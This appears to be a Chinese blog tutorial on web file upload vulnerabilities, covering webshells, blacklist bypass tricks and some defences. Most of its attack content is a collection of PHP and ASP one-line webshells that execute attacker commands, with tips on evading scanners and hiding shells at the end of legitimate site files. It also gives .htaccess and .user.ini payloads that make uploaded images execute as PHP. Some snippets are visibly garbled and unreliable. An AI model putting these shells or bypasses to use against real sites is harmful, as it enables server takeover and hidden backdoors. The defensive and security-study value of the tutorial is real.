文件上传漏洞

何为文件上传漏洞

  • 文件上传漏洞可以说是日常渗透测试中用得最多的一个漏洞,用它获得服务器权限最快最直接。在Web程序中,经常需要用到文件上传的功能。如用户或者管理员上传图片,或者其它文件。如果没有限制上传类型或者限制不严格被绕过,就有可能造成文件上传漏洞。如果上传了可执行文件或者网页脚本,就会导致网站被控制甚至服务器沦陷。复杂一点的情况是配合 Web Server的解析漏洞来获取控制权或结合文件包含漏洞。

什么是webshell

  • WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称之为一种网页后门。攻击者在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器web目录下正常的网页文件混在一起,然后使用浏览器来访问这些后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载或者修改文件,操作数据库,执行任意命令等)。 WebShell后门隐蔽较性高,可以轻松穿越防火墙,访问WebShell时不会留下系统日志,只会在网站的web日志中留下一些数据提交记录

    一句话木马大全

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    ##PHP:
    <?php @eval($_POST['r00ts']);?>
    <?php phpinfo();?>
    <?php @eval($_POST[cmd]);?>
    <?php @eval($_REQUEST[cmd]);?>
    <?php assert($_REQUEST[cmd]); ?>
    <?php //?cmd=phpinfo() @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd"); ?>
    <?php
    //?cmd=phpinfo();
    $func =create_function('',$_REQUEST['cmd']);
    $func();
    ?>

    <?php
    //?func=system&cmd=whoami
    $func=$_GET['func'];
    $cmd=$_GET['cmd'];
    $array[0]=$cmd;
    $new_array=array_map($func,$array);
    //print_r($new_array);
    ?>

    <?php
    //?cmd=phpinfo()
    @call_user_func(assert,$_GET['cmd']);
    ?>

    <?php
    //?cmd=phpinfo()
    $cmd=$_GET['cmd'];
    $array[0]=$cmd;
    call_user_func_array("assert",$array);
    ?>

    <?php
    //?func=system&cmd=whoami
    $cmd=$_GET['cmd'];
    $array1=array($cmd);
    $func =$_GET['func'];
    array_filter($array1,$func);
    ?>

    <?php usort($_GET,'asse'.'rt');?> php环境>=<5.6才能用
    <?php usort(...$_GET);?> php环境>=5.6才能用
    <?php eval($_POST1);?>
    <?php if(isset($_POST['c'])){eval($_POST['c']);}?>
    <?php system($_REQUEST1);?>
    <?php ($_=@$_GET1).@$_($_POST1)?>
    <?php eval_r($_POST1)?>
    <?php @eval_r($_POST1)?>//容错代码
    <?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句
    <?$_POST['c']($_POST['cc']);?>
    <?$_POST['c']($_POST['cc'],$_POST['cc'])?>
    <?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:<O>h=@eval_r($_POST1);</O>
    <?php echo `$_GET['r']` ?>

    <script language="php">@eval_r($_POST[sb])</script> //绕过<?限制的一句话

    <?php (])?> 上面这句是防杀防扫的!网上很少人用!可以插在网页任何ASP文件的最底部不会出错,比如 index.asp里面也是可以的!

    <?if(isset($_POST['1'])){eval($_POST['1']);}?><?php system ($_REQUEST[1]);?>
    加了判断的PHP一句话,与上面的ASP一句话相同道理,也是可以插在任何PHP文件 的最底部不会出错!

    <%execute request(“class”)%><%'<% loop <%:%><%'<% loop <%:%><%execute request (“class”)%><%execute request(“class”)'<% loop <%:%>
    无防下载表,有防下载表可尝试插入以下语句突破的一句话

    <%eval(request(“1″)):response.end%> 备份专用


产生文件上传漏洞的原因

原因:

  • 对于上传文件的后缀名(扩展名)没有做较为严格的限制
  • 对于上传文件的MIMETYPE(用于描述文件的类型的一种表述方法) 没有做检查
  • 权限上没有对于上传的文件目录设置不可执行权限,(尤其是对于shebang类型的文件)
  • 对于web server对于上传文件或者指定目录的行为没有做限制

原理:

  1. 在 WEB 中进行文件上传的原理是通过将表单设为 multipart/form-data,同时加入文件域,而后通过 HTTP 协议将文件内容发送到服务器,服务器端读取这个分段 (multipart) 的数据信息,并将其中的文件内容提取出来并保存的。通常,在进行文件保存的时候,服务器端会读取文件的原始文件名,并从这个原始文件名中得出文件的扩展名,而后随机为文件起一个文件名 ( 为了防止重复 ),并且加上原始文件的扩展名来保存到服务器上
  2. 文件上传后导致的常见安全问题一般有:
  3. 上传文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代
    码执行;
  4. 上传文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行为(其
    他通过类似方式控制策略文件的情况类似);
  5. 上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行:
  6. 上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执
    行,被用于钓鱼和欺诈。
  7. 除此之外,还有一些不常见的利用方法,比如将上传文件作为一个入口,溢出服务器的后台处理程序,如图片解析模块;或者上传-一个合法的文本文件, 其内容包含了PHP脚本,再通过“本地文件包含漏洞(Local File Include)”执行此脚本;等等。此类问题不在此细述

文件上传漏洞的攻击与防御方式

黑名单绕过方法

一般是过滤不严,或者结合中间件漏洞来绕过黑名单。

客户端

js检查

在console中,破坏函数/修改js添加白名单/删除js黑名单。

使用浏览器插件禁用js。

拦截数据包修改。(如果能够拦截到数据包,说明已经通过前端检测了!)

服务端

黑名单

特殊可解析后缀

黑名单规则不严谨,在某些特定的环境中,某些特殊的后缀名仍然会被当做php文件解析。

Php|php2|php3|php4|php5|php6|php7|pht|phtm|phtml

比如,黑名单禁止上传.asp|.aspx|.php|.jsp后缀文件。

但是Apache的httpd.conf配置文件中,有这样一行内容:

AddType application/x-httpd-php .php .php3 .phtml

这里上传.php.php3.phtml后缀的文件都可以当做php文件来执行。

.htaccess绕过

在Apache里,.htaccess是一个配置文件。它可以用来控制所在目录的访问权限以及解析设置。可以通过修改该文件的配置项,将该目录下的所有文件作为php文件来解析

.htaccess可以写入apache配置信息,改变当前目录以及子目录的apache配置信息。

应用场景:黑名单没有禁止.htaccess文件上传。

绕过方法:首先上传一个.htaccess文件,.htaccess文件内容如下。如果Apache允许.htaccess文件生效,并且.htaccess文件没有被重命名。那么就可以改变当前目录以及子目录的Apache配置信息,将其他后缀的文件作为PHP文件解析。

服务端允许.htaccess文件生效,需要在httpd.conf中,修改两处配置项:

  • Apache加载rewrite模块

    LoadModule rewrite_module modules/mod_rewrite.so

  • AllowOverride All(默认为None)

.htaccess文件中有两种写法

1
2
3
<FilesMatch "xxx.png">
SetHandler application/x-httpd-php
</FilesMatch>

xxx.png即可作为php脚本解析

或者是

1
AddType application/x-httpd-php .gif

.gif为后缀额度文件都当做php解析

后缀大小写绕过

应用场景:没有将文件后缀统一转换为大写或者是小写,而黑名单不严谨。

绕过方式:大小写绕过

比如:禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess后缀文件,但是没有使用strtolower()函数。

.user.ini

应用场景

  • 服务器脚本语言为PHP,并且使用CGI/FastCGI模式,php版本>5.3.0
  • 上传目录下要有可执行的php文件

.user.ini,它会影响php.ini中的配置,从而将指定的文件内容按php来解析,影响的范围该文件所在的目录以及子目录。需要等待php.ini中的user_ini.cache_ttl设置的时间或重启Apache才能生效,且只在php5.3.0之后的版本才生效。.user.ini.htaccess用的更广,不管是nginx/Apache/IIS,只要是以fastcgi运行的php都可以用这个办法。如果使用Apache,则用.htaccess文件有同样的效果。

注意:.htaccess只能用于Apache。

php.ini中,有两个新的INI指令

1
2
3
4
5
6
7
; Name for user-defined php.ini (.htaccess) files. Default is ".user.ini"
; 用户自定义的php.ini文件的名字,默认是.user.ini
user_ini.filename = ".user.ini"

; TTL for user-defined php.ini files (time-to-live) in seconds. Default is 300 seconds (5 minutes)
; 重新读取用户INI文件的时间间隔,默认是300秒(5分钟)
user_ini.cache_ttl = 300

大致意思是:我们指定一个文件(如,xxx.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./xxx.jpg);

这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用exit()时该设置无效)。

利用方法:

可以上传一个这样的.user.ini

1
auto_prepend_file = xxx.jpg

然后再上传一个图片马xxx.jpg

1
<script language='php'>system('whoami');</script>

如果在上传目录中还有一个可执行的php文件,访问php文件,就达到了执行系统命令的效果。

总结一下:上传目录中有一个可执行的php文件,我们先上传一个.user.ini文件,这个文件的内容为auto_prepend_file=xxx.jpg。起到的作用相当于在可执行的php文件前插入图片马中的内容。然后图片马中的恶意代码也会被当做PHP解析。

补充:利用操作系统特性-Windows

利用Windows对于文件和文件名的限制,以下字符放在结尾时,不符合操作系统的命名规范,在最后生成文件时,字符会被自动去除。

上传文件名 服务器文件名 说明
file.php[空格] file.php
file.php[.] file.php 无论多少个.都可以
file.php[%80-%99] file.php Burp抓包,在文件名结尾输%80,CTRL+SHIFT+U进行URL-DECODE,或者增加一个空格,再在HEX视图中把20修改为80
上传文件名 服务器生成文件名 内容
file.php::$DATA file.php file.php中的实际内容
file.php::$DATA…… file.php 实际

空格绕过

应用场景:服务器为Windows平台,在对用户上传的文件名进行处理时,没有使用trim()函数去除字符串收尾处的空白字符。

利用方式:用户上传图片马时,用Burp拦截,在文件尾部加入空格。例如:xxx.jpg空格。带有空格的后缀可以绕过黑名单的检测,而文件存在在Windows服务器上,会自动去除后缀中的空格。

点绕过

应用场景:Windows平台,服务端没有使用deldot()删除文件名末尾的点。

利用方式:上传名为assert.php.的文件。在Windows服务器中,后缀名之后的点,在保存时,会被自动忽略。

::$DATA绕过

应用场景:Windows平台,没有使用str_ireplace()::$DATA替换为空,导致可以利用NTFS文件流特性。

利用方式:

假设xxx.php的内容为<?php phpinfo();?>

上传的文件名 服务器表面现象 生成的文件内容
xxx.php:a.jpg 生成xxx.php
xxx.php::$DATA 生成xxx.php <?php phpinfo();?>
xxx.php::$INDEX_ALLOCATION 生成xxx.php文件夹
xxx.php::$DATA.jpg 生成0.jpg <?php phpinfo();?>
xxx.php::$DATA\aaa.jpg 生成aaa.jpg <?php phpinfo();?>

这里,我们上传一个名为xxx.php::$DATA的木马,然后,在浏览器中访问xxx.php

双后缀名绕过

应用场景:黑名单、使用str_ireplace()将匹配到的黑名单中的内容替换为空。

利用方式:因为仅将黑名单中的内容一次替换为空,可以重写绕过。

1
xxx.phphpp

常见可利用中间件漏洞

什么是中间件

中间件(英语:Middleware)是提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通。中间件处在操作系统和更高一级应用程序之间。他充当的功能是:将应用程序运行环境与操作系统隔离,从而实现应用程序开发者不必为更多系统问题忧虑,而直接关注该应用程序在解决问题上的能力 。容器就是中间件的一种。

也就是说,关于中间件,我们可以理解为:是一类能够为一种或多种应用程序合作互通、资源共享,同时还能够为该应用程序提供相关的服务的软件。(注意:中间件是一类软件的总称,不是单独的一个软件)

我们经常管web中间件叫做web服务器或者web容器

正常情况下一次web的访问顺序是:web浏览器—服务器(硬件)—web容器—web应用服务器—数据库服务器。

20191001083647878

链接

Apache HTTPD 换行解析漏洞(CVE-2017-15715)

Apache HTTPD 多后缀解析漏洞

Nginx 解析漏洞复现

Web中间件漏洞总结之IIS漏洞

编辑器漏洞手册

防御方式

一,前端限制

二,检查扩展名

就是在文件被上传到服务端的时候,对于文件名的扩展名进行检查,如果不合法,则拒绝这次上传
在检查扩展名是否合法的时候,有两种策略:

  1. 黑名单策略

    文件扩展名在黑名单中的为不合法

  2. 白名单策略

    文件扩展名不在白名单中的均为不合法

三,检查Content-Type

原理

HTTP协议规定了上传资源的时候在Header中加上一项文件的MIMETYPE,来识别文件类型,这个动作是由浏览器完成的,服务端可以检查此类型不过这仍然是不安全的,因为HTTP header可以被发出者或者中间人任意的修改。

绕过方法
使用各种各样的工具(如burpsuite)强行篡改Header就可以,将Content-Type: application/php改为其他web程序允许的类型。

四,文件头检查文件

原理

利用的是每一个特定类型的文件都会有不太一样的开头或者标志位。

绕过方法

给上传脚本加上相应的幻数头字节就可以,php引擎会将 <?之前的内容当作html文本,不解释而跳过之,后面的代码仍然能够得到执行比如下面:
(一般不限制图片文件格式的时候使用GIF的头比较方便,因为全都是文本可打印字符。)

五,限制Web Server对特定类型文件的行为

原理

导致文件上传漏洞的根本原因在于服务把用户上传的本应是数据的内容当作了代码,一般而言:用户上传的内容都会被存储到特定的一个文件夹下,比如我们很多人习惯于放在 ./upload/ 下面要防止数据被当作代码执行,我们可以限制web server对于特定文件夹的行为。

参考:

文件上传绕过方式和中间件解析漏洞 - FreeBuf网络安全行业门户

Web中间件有哪些-CSDN博客